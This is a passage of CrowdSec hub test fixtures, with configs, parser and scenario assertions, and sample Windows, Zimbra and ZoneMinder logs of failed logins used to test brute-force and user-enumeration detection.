crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: windows-logs.log log_type: wineventlog labels: {} ignore_parsers: false override_statics: - target: evt.Line.Module value: wineventlog hub1/.tests/windows-logs/parser.assert000066400000000000000000000040171437532772500203310ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/windows-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Success == true results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["program"] == "wineventlog" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["Channel"] == "Security" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["Computer"] == "exchange-1.mydomain.test" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["EventID"] == "4625" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["Source"] == "Microsoft-Windows-Security-Auditing" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Meta["datasource_path"] == "windows-logs.log" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Meta["datasource_type"] == "wineventlog" len(results["s00-raw"]["overrides"]) == 1 results["s00-raw"]["overrides"][0].Success == true len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["Source"] == "Microsoft-Windows-Security-Auditing" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "wineventlog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["Channel"] == "Security" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["Computer"] == "exchange-1.mydomain.test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["EventID"] == "4625" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "windows-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "wineventlog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-04-28T16:09:28.9443547Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-04-28T16:09:28.9443547Z"hub1/.tests/windows-logs/scenario.assert000066400000000000000000000000001437532772500206240ustar00rootroot00000000000000hub1/.tests/windows-logs/windows-logs.log000066400000000000000000000031701437532772500207500ustar00rootroot00000000000000- - 4625 0 0 12544 0 0x8010000000000000 2524 Security exchange-1.mydomain.test - S-1-5-18 EXCHANGE-1$ MYDOMAIN 0x3e7 S-1-0-0 testuser@mydomain.test EXCHANGE-1 0xc000006d %%2313 0xc0000064 8 Advapi Negotiate EXCHANGE-1 - - 0 0x14a0 C:\Windows\System32\inetsrv\w3wp.exe 192.168.9.212 1628 hub1/.tests/zimbra-bf/000077500000000000000000000000001437532772500150255ustar00rootroot00000000000000hub1/.tests/zimbra-bf/config.yaml000066400000000000000000000003371437532772500171610ustar00rootroot00000000000000parsers: - firewallservices/zimbra-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - firewallservices/zimbra-bf postoverflows: - "" log_file: zimbra-bf.log log_type: zimbra ignore_parsers: true hub1/.tests/zimbra-bf/parser.assert000066400000000000000000000000001437532772500175320ustar00rootroot00000000000000hub1/.tests/zimbra-bf/scenario.assert000066400000000000000000000142111437532772500200520ustar00rootroot00000000000000len(results) == 2 "192.168.7.15" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.7.15"].IP == "192.168.7.15" results[0].Overflow.Sources["192.168.7.15"].Range == "" results[0].Overflow.Sources["192.168.7.15"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.7.15"].GetValue() == "192.168.7.15" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "zimbra-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "zimbra_auth_fail" results[0].Overflow.Alert.Events[0].GetMeta("service") == "zimbra" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.7.15" results[0].Overflow.Alert.Events[0].GetMeta("user") == "toto.tata" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "zimbra-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "zimbra_auth_fail" results[0].Overflow.Alert.Events[1].GetMeta("service") == "zimbra" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.7.15" results[0].Overflow.Alert.Events[1].GetMeta("user") == "toto.titi" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "zimbra-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "zimbra_auth_fail" results[0].Overflow.Alert.Events[2].GetMeta("service") == "zimbra" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.7.15" results[0].Overflow.Alert.Events[2].GetMeta("user") == "toto.toto" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "zimbra-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "zimbra_auth_fail" results[0].Overflow.Alert.Events[3].GetMeta("service") == "zimbra" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.7.15" results[0].Overflow.Alert.Events[3].GetMeta("user") == "toto.tete" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "zimbra-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "zimbra_auth_fail" results[0].Overflow.Alert.Events[4].GetMeta("service") == "zimbra" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.7.15" results[0].Overflow.Alert.Events[4].GetMeta("user") == "toto.tutu" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "zimbra-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "zimbra_auth_fail" results[0].Overflow.Alert.Events[5].GetMeta("service") == "zimbra" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.7.15" results[0].Overflow.Alert.Events[5].GetMeta("user") == "toto@test.fr" results[0].Overflow.Alert.GetScenario() == "firewallservices/zimbra-user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "192.168.7.15" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.7.15"].IP == "192.168.7.15" results[1].Overflow.Sources["192.168.7.15"].Range == "" results[1].Overflow.Sources["192.168.7.15"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.7.15"].GetValue() == "192.168.7.15" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "zimbra-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "zimbra_auth_fail" results[1].Overflow.Alert.Events[0].GetMeta("service") == "zimbra" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.7.15" results[1].Overflow.Alert.Events[0].GetMeta("user") == "toto.tata" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "zimbra-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "zimbra_auth_fail" results[1].Overflow.Alert.Events[1].GetMeta("service") == "zimbra" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.7.15" results[1].Overflow.Alert.Events[1].GetMeta("user") == "toto.titi" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "zimbra-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "zimbra_auth_fail" results[1].Overflow.Alert.Events[2].GetMeta("service") == "zimbra" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.7.15" results[1].Overflow.Alert.Events[2].GetMeta("user") == "toto.toto" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "zimbra-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "zimbra_auth_fail" results[1].Overflow.Alert.Events[3].GetMeta("service") == "zimbra" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.7.15" results[1].Overflow.Alert.Events[3].GetMeta("user") == "toto.tete" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "zimbra-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "zimbra_auth_fail" results[1].Overflow.Alert.Events[4].GetMeta("service") == "zimbra" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.7.15" results[1].Overflow.Alert.Events[4].GetMeta("user") == "toto.tutu" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "zimbra-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "zimbra_auth_fail" results[1].Overflow.Alert.Events[5].GetMeta("service") == "zimbra" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.7.15" results[1].Overflow.Alert.Events[5].GetMeta("user") == "toto.tutu" results[1].Overflow.Alert.GetScenario() == "firewallservices/zimbra-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/zimbra-bf/zimbra-bf.log000066400000000000000000000033151437532772500174030ustar00rootroot000000000000002021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.tata], account not found 2021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.titi], account not found 2021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.toto], account not found 2021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.tete], account not found 2021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.tutu], account not found 2021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.tutu], account not found 2021-03-03 19:52:08,616 INFO [qtp93314457-137:https://test.fr:7071/service/admin/soap/AuthRequest] [name=toto@test.fr;oip=192.168.7.15;port=52016;ua=ZimbraWebClient - GC88 (Linux);soapId=9fd8101;] SoapEngine - handler exception: authentication failed for [toto@test.fr], invalid password hub1/.tests/zimbra-logs/000077500000000000000000000000001437532772500154025ustar00rootroot00000000000000hub1/.tests/zimbra-logs/config.yaml000066400000000000000000000002511437532772500175310ustar00rootroot00000000000000parsers: - firewallservices/zimbra-logs - crowdsecurity/syslog-logs scenarios: - "" postoverflows: - "" log_file: zimbra-logs.log log_type: zimbra ignore_parsers: false hub1/.tests/zimbra-logs/parser.assert000066400000000000000000000146071437532772500201310ustar00rootroot00000000000000len(results["s01-parse"]["firewallservices/zimbra-logs"]) == 4 results["s01-parse"]["firewallservices/zimbra-logs"][0].Success == true results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["server"] == "test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["src_ip"] == "192.168.7.101" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["time_local"] == "2021-03-03 19:26" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["user"] == "toto@test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["message"] == "2021-03-03 19:26:38,616 INFO [qtp93314457-137:https://test.fr:7071/service/admin/soap/AuthRequest] [name=toto@test.fr;oip=192.168.7.101;port=52016;ua=ZimbraWebClient - GC88 (Linux);soapId=9fd8101;] SoapEngine - handler exception: authentication failed for [toto@test.fr], invalid password" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["port"] == "7071" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["program"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Parsed["proto"] == "https" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Meta["datasource_path"] == "zimbra-logs.log" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Meta["log_type"] == "zimbra_auth_fail" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Meta["service"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Meta["source_ip"] == "192.168.7.101" results["s01-parse"]["firewallservices/zimbra-logs"][0].Evt.Meta["user"] == "toto@test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][1].Success == true results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["src_ip"] == "192.168.7.15" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["time_local"] == "2021-03-03 19:51" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["user"] == "toto.tata" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["message"] == "2021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.tata], account not found" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["port"] == "7073" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["program"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["proto"] == "smtp" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Parsed["server"] == "smtp.test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Meta["datasource_path"] == "zimbra-logs.log" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Meta["log_type"] == "zimbra_auth_fail" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Meta["service"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Meta["source_ip"] == "192.168.7.15" results["s01-parse"]["firewallservices/zimbra-logs"][1].Evt.Meta["user"] == "toto.tata" results["s01-parse"]["firewallservices/zimbra-logs"][2].Success == true results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["server"] == "smtp.test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["src_ip"] == "192.168.7.15" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["time_local"] == "2021-03-03 19:53" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["user"] == "toto@test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["message"] == "2021-03-03 19:53:15,744 INFO [qtp93314457-589:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=24304;oproto=smtp;soapId=688cb584;] SoapEngine - handler exception: authentication failed for [toto@test.fr], account not found" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["port"] == "7073" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["program"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Parsed["proto"] == "smtp" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Meta["user"] == "toto@test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Meta["datasource_path"] == "zimbra-logs.log" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Meta["log_type"] == "zimbra_auth_fail" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Meta["service"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][2].Evt.Meta["source_ip"] == "192.168.7.15" results["s01-parse"]["firewallservices/zimbra-logs"][3].Success == true results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["user"] == "tata@test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["message"] == "2021-03-03 19:53:06,536 WARN [qtp93314457-589:smtp://smtp.test.fr:7073/service/admin/soap/] [name=tata@test.fr;oip=192.168.7.15;oport=41496;oproto=smtp;soapId=688cb582;] SoapEngine - handler exception" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["port"] == "7073" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["program"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["proto"] == "smtp" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["server"] == "smtp.test.fr" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["src_ip"] == "192.168.7.15" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Parsed["time_local"] == "2021-03-03 19:53" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Meta["datasource_path"] == "zimbra-logs.log" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Meta["log_type"] == "zimbra_auth_fail" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Meta["service"] == "zimbra" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Meta["source_ip"] == "192.168.7.15" results["s01-parse"]["firewallservices/zimbra-logs"][3].Evt.Meta["user"] == "tata@test.fr" hub1/.tests/zimbra-logs/zimbra-logs.log000066400000000000000000000017231437532772500203360ustar00rootroot000000000000002021-03-03 19:26:38,616 INFO [qtp93314457-137:https://test.fr:7071/service/admin/soap/AuthRequest] [name=toto@test.fr;oip=192.168.7.101;port=52016;ua=ZimbraWebClient - GC88 (Linux);soapId=9fd8101;] SoapEngine - handler exception: authentication failed for [toto@test.fr], invalid password 2021-03-03 19:51:53,762 INFO [qtp93314457-324:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=57752;oproto=smtp;soapId=688cb579;] SoapEngine - handler exception: authentication failed for [toto.tata], account not found 2021-03-03 19:53:15,744 INFO [qtp93314457-589:smtp://smtp.test.fr:7073/service/admin/soap/] [oip=192.168.7.15;oport=24304;oproto=smtp;soapId=688cb584;] SoapEngine - handler exception: authentication failed for [toto@test.fr], account not found 2021-03-03 19:53:06,536 WARN [qtp93314457-589:smtp://smtp.test.fr:7073/service/admin/soap/] [name=tata@test.fr;oip=192.168.7.15;oport=41496;oproto=smtp;soapId=688cb582;] SoapEngine - handler exception hub1/.tests/zoneminder-bf/000077500000000000000000000000001437532772500157135ustar00rootroot00000000000000hub1/.tests/zoneminder-bf/config.yaml000066400000000000000000000004221437532772500200420ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/baudneo/zoneminder-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/baudneo/zoneminder-bf.yaml postoverflows: - "" log_file: zoneminder-bf.log log_type: zoneminder labels: {} ignore_parsers: true hub1/.tests/zoneminder-bf/parser.assert000066400000000000000000000000001437532772500204200ustar00rootroot00000000000000hub1/.tests/zoneminder-bf/scenario.assert000066400000000000000000000156421437532772500207510ustar00rootroot00000000000000len(results) == 2 "2222:3333:444a:a300:3c65:1111:1111:1112" in results[0].Overflow.GetSources() results[0].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1112"].IP == "2222:3333:444a:a300:3c65:1111:1111:1112" results[0].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1112"].Range == "" results[0].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1112"].GetScope() == "Ip" results[0].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1112"].GetValue() == "2222:3333:444a:a300:3c65:1111:1111:1112" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "zoneminder-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_subtype") == "zm_bad_user" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "zm_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1112" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-01-25T16:08:02.393003Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "user1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "zoneminder-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_subtype") == "zm_bad_user" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "zm_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1112" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-01-25T16:08:03.393003Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "user2" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "zoneminder-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_subtype") == "zm_bad_user" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "zm_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1112" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-01-25T16:08:03.393003Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "user3" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "zoneminder-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_subtype") == "zm_bad_user" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "zm_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1112" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-01-25T16:08:03.531511Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "user4" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "zoneminder-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_subtype") == "zm_bad_user" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "zm_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1112" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-01-25T16:08:03.531511Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "user5" results[0].Overflow.Alert.GetScenario() == "baudneo/zoneminder-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 5 "2222:3333:444a:a300:3c65:1111:1111:1111" in results[1].Overflow.GetSources() results[1].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1111"].IP == "2222:3333:444a:a300:3c65:1111:1111:1111" results[1].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1111"].Range == "" results[1].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1111"].GetScope() == "Ip" results[1].Overflow.Sources["2222:3333:444a:a300:3c65:1111:1111:1111"].GetValue() == "2222:3333:444a:a300:3c65:1111:1111:1111" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "zoneminder-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_subtype") == "zm_bad_password" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "zm_failed_auth" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1111" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-01-25T16:22:17.359785Z" results[1].Overflow.Alert.Events[0].GetMeta("username") == "test_user" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "zoneminder-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_subtype") == "zm_bad_password" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "zm_failed_auth" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1111" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-01-25T16:22:17.359785Z" results[1].Overflow.Alert.Events[1].GetMeta("username") == "test_user" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "zoneminder-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_subtype") == "zm_bad_password" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "zm_failed_auth" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1111" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-01-25T16:22:17.359785Z" results[1].Overflow.Alert.Events[2].GetMeta("username") == "test_user" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "zoneminder-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_subtype") == "zm_bad_password" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "zm_failed_auth" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1111" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-01-25T16:22:17.359785Z" results[1].Overflow.Alert.Events[3].GetMeta("username") == "test_user" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "zoneminder-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_subtype") == "zm_bad_password" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "zm_failed_auth" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "2222:3333:444a:a300:3c65:1111:1111:1111" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-01-25T16:22:17.359785Z" results[1].Overflow.Alert.Events[4].GetMeta("username") == "test_user" results[1].Overflow.Alert.GetScenario() == "baudneo/zoneminder-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 5 hub1/.tests/zoneminder-bf/zoneminder-bf.log000066400000000000000000000074321437532772500211630ustar00rootroot0000000000000001/25/22 16:08:02.393003 web_php[118770].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:03.531511 web_php[119601].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Could not retrieve user test_user details] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:19:40.524258 web_php[118966].INF [127.0.0.1] [Login successful for user "test_user"] at /usr/share/zoneminder/www/api/app/Controller/AppController.php line 86 01/25/22 16:19:40.524931 web_php[118966].INF [127.0.0.1] [Creating token for "test_user"] at /usr/share/zoneminder/www/api/app/Controller/HostController.php line 157 01/25/22 16:19:40.701022 web_php[118768].ERR [10.0.1.139] [Unable to authenticate user. error decoding JWT token:Expired token] at /usr/share/zoneminder/www/includes/auth.php line 118 01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:22:17.359785 web_php[118919].ERR [2222:3333:444a:a300:3c65:1111:1111:1111] [Login denied for user "test_user"] at /usr/share/zoneminder/www/includes/auth.php line 313 01/25/22 16:08:02.393003 web_php[118770].ERR [2222:3333:444a:a300:3c65:1111:1111:1112] [Could not retrieve user user1 details] at 